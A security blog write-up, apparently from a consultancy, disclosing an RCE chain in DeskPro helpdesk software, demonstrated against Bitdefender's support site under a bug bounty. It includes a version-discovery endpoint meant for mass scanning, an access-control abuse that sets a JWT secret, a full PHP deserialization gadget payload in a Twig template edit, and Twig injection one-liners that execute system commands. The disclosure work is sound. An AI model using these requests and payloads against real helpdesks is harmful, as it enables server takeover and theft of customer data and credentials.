WEB SECURITY · MARCH 28, 2020 · 15 MIN READ

Attacking HelpDesks Part 1: RCE Chain on DeskPro, with Bitdefender as a Case Study

We decided to look at the most popular on-premise helpdesk solutions. In this article we explain how we managed to find and exploit multiple vulnerabilities that eventually lead to remote code execution (RCE) at DeskPro software utilized by thousands of organizations using Bitdefender and Freelancer Inc in a case study. No full exploit is currently available, but steps can be easily reproduced and used to build one.

TL;DR.

We decided to look at the most popular on-premise helpdesk solutions. In this article we explain how we managed to find and exploit multiple vulnerabilities that eventually lead to remote code execution (RCE) at DeskPro software utilized by thousands of organizations using Bitdefender and Freelancer Inc in a case study. No full exploit is currently available, but steps can be easily reproduced and used to build one.

Table of Contents

Preface

A helpdesk is now a crucial part of any company's online presence. With much sensitive information exchanged between agents and clients, it makes it the perfect target for an adversary targeting the organization.

In September 2019, we decided to have a look at some of the most popular open-source helpdesk solutions. Between cloud and on-premise, we preferred to focus on self-hosted solutions because the risks accompanied with them extend beyond data breach to potential internal network infiltration. So, we chose on-prem versions of **DeskPro**, **osTicket** and **Kayako** (We also did "PHP Live!" as a plus for a client) and will present our principal findings in this and the upcoming articles.

About DeskPro

As defined by them

> *Deskpro is a helpdesk software solution that helps companies manage their communication with their customers and user base across a multiple channels; email, live chat, voice, social media*

DeskPro has clients in different industries. Some of the well-known names per their website are: Microsoft, Siemens, P&G, Vodafone, HMRC, CapitalOne, Panasonic, NHS, Valve, Brown University, Hotel Chocolat, Garmin, Team USA, Arrow, Pure, Xerox, 1&1, Booz Allen Hamilton, Bitdefender, US Department of Defense and more.

The last published CVE/exploit for DeskPro was in 2007 and last (and only) security advisory on their current website was in 2015. This meant that either this application is robust or overlooked. So we took the challenge and we decided to see for ourselves.

Vulnerability Details

Since we have much to present and this article is already getting long, we decided to keep the upcoming parts focused on the discovered vulnerabilities themselves rather than the motivation and paths used to find them, if anyone is interested, please let us

know in the comments.

1. Insufficient Access Control at Multiple API endpoints

DeskPro shows high degree of automation and integration through API interfaces that enable developers to build apps that interact with different components of the system. However, multiple API endpoints were found to have a problem properly validating user's privilege, giving a normal user arbitrary unauthorized access to various actions and information. The following table shows the most important ones

/api/apps/* – (CVE-2020-11465)

Controlling/installing helpdesk applications, leaking current applications' configurations, *including applications used as user sources (used for authentication) such as JWT*. This enables an attacker to forge valid authentication models that resembles any user on the system (Privilege Escalation)

/api/email_accounts – (CVE-2020-11463)

Retrieve plaintext credentials of all helpdesk email accounts, including incoming and outgoing email credentials

/api/tickets – (CVE-2020-11466)

Retrieve sensitive information about all helpdesk tickets stored in database with numerous filters. Additionally, it leaks ticket auth code, making it possible to make changes to the ticket

/api/people – (CVE-2020-11464)

Retrieve sensitive information about all users' registered on the system. This includes their full name, privilege, email address, phone number...etc. (will be of a good use in our attack scenario)

2. Insecure Deserialization to RCE in Template Editing Feature (Needs Admin Privilege) [CVE-2020-11467]

DeskPro enables administrators to modify helpdesk interface by editing theme templates and uses TWIG as its template engine. While direct access to `self`, `_self` variables was not permitted, we could abuse the accessible variables in our context to reach PHP's native `unserialize` function where we passed our crafted payload to trigger a set of POP gadgets in order to achieve remote code execution.

How to Identify Passively?

There is nothing cooler than launching a mass scanner hacking the world, while you are chilling out enjoying your favorite movie on Netflix 😍 Luckily, this one is easy to deploy, because DeskPro gives you detailed information about current version deployed under the following API call "**/api/v2/helpdesk/discover**". So with a simple unauthenticated GET request, if you find "build_name" less than "**2019.8.0**", it is probably your lucky day.

Now.. Time for Fun Part.. Exploitation!

So the plan goes as follow, register a normal guest account (self-registration enabled by default), leak JWT secret, login as administrator, trigger deserialization and voila... server compromised!

Bitdefender Support Center (support.bitdefender.com) is using Deskpro. So, we will use it as the case study in this article. But first I would like to give Bitdefender team a big shoutout for their awesome response. Although this issue affects a third-party product, they have deployed a temporary fix within hours and fixed the whole thing (in coordination with DeskPro team) in less than 24 hours and they have been cool enough to allow us to publish this article.
The reason we chose Bitdefender is that through our experience with their bug bounty program, they have always been friendly, highly responsible, and actively encouraging security research to enhance their security posture.

So let's begin!

1. Retrieving Limited User API Token

In order to establish our attack, we need a valid user account, which we can easily obtain via self-registration at https://support.bitdefender.com/en/register.

After activating user's account, we can request access token by sending username and password to the following API endpoint (https://support.bitdefender.com/api/v2/api_tokens) as shown below

2. Compromising JWT Authentication

Note: Any further requests to API interface would require Authorization header to be set to base64 value of the retrieved API token as shown in the following steps

DeskPro has a set of built-in applications that can be used for authentication, one of them is JWT app identified by `deskpro_us_jwt` . As a quick reminder for those who are not much familiar with JWT, it can be regarded as a method for representing claims (such as user identity). To ensure data integrity and security, they are usually signed with a secret key which can be used to validate provided claims. You can find more information here. So, if JWT authentication is enabled and we have this key, we can authenticate to the application as any user.

Due to access-control vulnerability within DeskPro, normal user's could access API endpoints responsible for applications including JWT. Which means, a simple GET request to "https://support.bitdefender.com/api/apps/packages/deskpro_us_jwt?usersource_type=user" with normal user privilege, would leak JWT secret.

In Bitdefender case, JWT authentication was not enabled. However, we managed to enable it by issuing PUT request to the same endpoint as shown below

```
PUT /api/apps/packages/deskpro_us_jwt?usersource_type=user HTTP/1.1
Host: support.bitdefender.com
Authorization: Basic <redacted>
Content-Type: application/json
Content-Length: 269

{"settings":{"sso_type":"none","auto_agent":true,"dp_app":{"title":"JSON Web Token (JWT)"},"actions":
[],"enable_usersource":true,"url":"https://www.google.com","secret":"V3ry83cr3tK3y","algo":"HS256","login_custom_text":"Login","logout_a
```

We can confirm that user source is now available by sending GET request to the same endpoint. We identify `usersource` id from the following screenshot

3. Getting Administrative Access to Helpdesk

To be able to forge a valid administrator JWT token, we need to know administrator's email. Instead of guessing or bruteforcing our options, we utilized another broken access-control issue at "https://support.bitdefender.com/api/people?is_agent=1" endpoint which brought back to us a list of all system agents and administrators. Administrators had the flag `can_admin` set to `true`

After retrieving administrator's email, knowing the secret key of JWT authentication app, we managed to forge a valid JWT token and authenticate to the application using the following URL https://support.bitdefender.com/login/authenticate-callback/6?jwt=<redacted>

4. Executing Arbitrary Code on Bitdefender Helpdesk

Now with administrative access, we can trigger deserialization vulnerability that exists in theme editing feature. All we need to prepare is a proper POP gadget to achieve code execution. After we have discovered the gadget chain in Guzzle library, we found out that it was already known and published in ambionics' awesome tool PHPGGC, so shoutout for them and @proclnas for the awesome work.

So, generate the serialized object using PHPGGC (we choose a minimal PoC that executes `phpinfo()`) and edit application's templates to contain your payload and deserialize it as shown in the following request

```
PUT /portal/api/style/edit-theme-set/template-sources HTTP/1.1
Host: support.bitdefender.com
Cookie: <redacted>
Content-Type: application/json
Content-Length: 564

{"template":"Theme::layout.html.twig","code":"{% set p = 'O:24:\"GuzzleHttp\\\\Psr7\\\\FnStream\":2:
{s:33:\"\\x00GuzzleHttp\\\\Psr7\\\\FnStream\\x00methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\\\HandlerStack\":3:
{s:32:\"\\x00GuzzleHttp\\\\HandlerStack\\x00handler\";s:1:\"1\";s:30:\"\\x00GuzzleHttp\\\\HandlerStack\\x00stack\";a:1:{i:0;a:1:
{i:0;s:7:\"phpinfo\"}}s:31:\"\\x00GuzzleHttp\\\\HandlerStack\\x00cached\";b:0;}i:1;s:7:\"resolve\";}}s:14:\"_fn___toString\";a:2:
{i:0;r:4;i:1;s:7:\"resolve\";}}' %} {{var_dump(app.getUser().unserialize(p))}}"}
```

Now, navigate to preview page to trigger your payload (https://support.bitdefender.com/admin-preview-1/new-ticket) as shown below

After reaching this point, we reported our findings to Bitdefender and did not attempt to do any lateral movement.

[UPDATE]

Mahmoud Gamal (@Zombiehelp54) brought to our attention another way that can be used to achieve remote code execution (RCE) via twig template injection. It was even part of VolgaCTF 2020 Qualifier challenge. Apparently, using any of the following vectors lead to executing system commands.

```
{{ app.request.query.filter(0,'whoami',1024,{'options':'system'}) }}
```

```
{{['whoami']|filter('system')}}
```

We have tested both vectors on the latest stable version and it works like a charm.

Real Impact

Since most -if not all- helpdesk instances enable self-registration (because, well... it is a helpdesk for "customers"), the vulnerability enables a remote attacker to fully compromise helpdesk instance. This includes all information exchanged between agents and clients which usually contain very sensitive information and PII. Moreover, application configurations and secret keys are leaked (e.g. JIRA API integration public and private keys) . An attacker can also reach company's intranet and use this helpdesk instance as a pivot point to infiltrate corporate network.

Bitdefender and DeskPro Response

Bitdefender took the issue very seriously and applied full patches in less than 24 hours which was quite remarkable given that the vulnerable code was in a third-party product. So a big shoutout to them and DeskPro team for fast response.

DeskPro has released a security advisory regarding this issue on their website (https://support.deskpro.com/en/news/posts/deskpro-security-update-2019-09) but they failed to mention the remote code execution warning, we tried to contact them several times in this regard but we have not heard back from them.

Bitdefender also rewarded us with $5,000 USD as part of their bug bounty program. So thanks for this as well :).

What's Next?

In the upcoming articles we will talk about other remote code execution vulnerabilities we discovered in osTicket and Kayako. So go update your systems and get ready to hack the world!

Bugbounty DeskPro Helpdesk Information Security

Sponsored

Here Are 29 of the Coolest Gifts for This 2022

Consumerbags

Click Here

Somerdale: Unsold Never-Driven Cars Almost Given Away: Clearance Sale

SUV Deals | Search Ads

Here Are 23 Of The Coolest Gifts For 2022

Best Tech Trend

MORE >

Windows authentication attacks part 2 – kerberos

ACTIVE DIRECTORY RED TEAMING · APRIL 28, 2020

Windows authentication attacks – part 1

RED TEAMING · APRIL 2, 2020

Oh, My Kerberos! Do Not Get Kerberoasted!

ACTIVE DIRECTORY RED TEAMING · APRIL 9, 2019

Comma is forbidden! No worries!! Inject in insert/update queries without it

WEB SECURITY · MARCH 31, 2019

SHAREit Multiple Vulnerabilities Enable Unrestricted Access to Adjacent Devices' Files

MOBILE PENETRATION TESTING · FEBRUARY 25, 2019

[SQLi] Extracting data without knowing columns names

WEB SECURITY · FEBRUARY 9, 2019

WHO ARE WE

RedForce is an information security consultancy firm consists of a team of experts in the offensive security field. We are a service-oriented organization specialized in offensive consultancy services . . . more

CONTACT US

Address: 5th Floor, Golden Mall, 6th Of October, Giza, Egypt.

Phone: +20 100 7842 224

Email: info@redforce.ae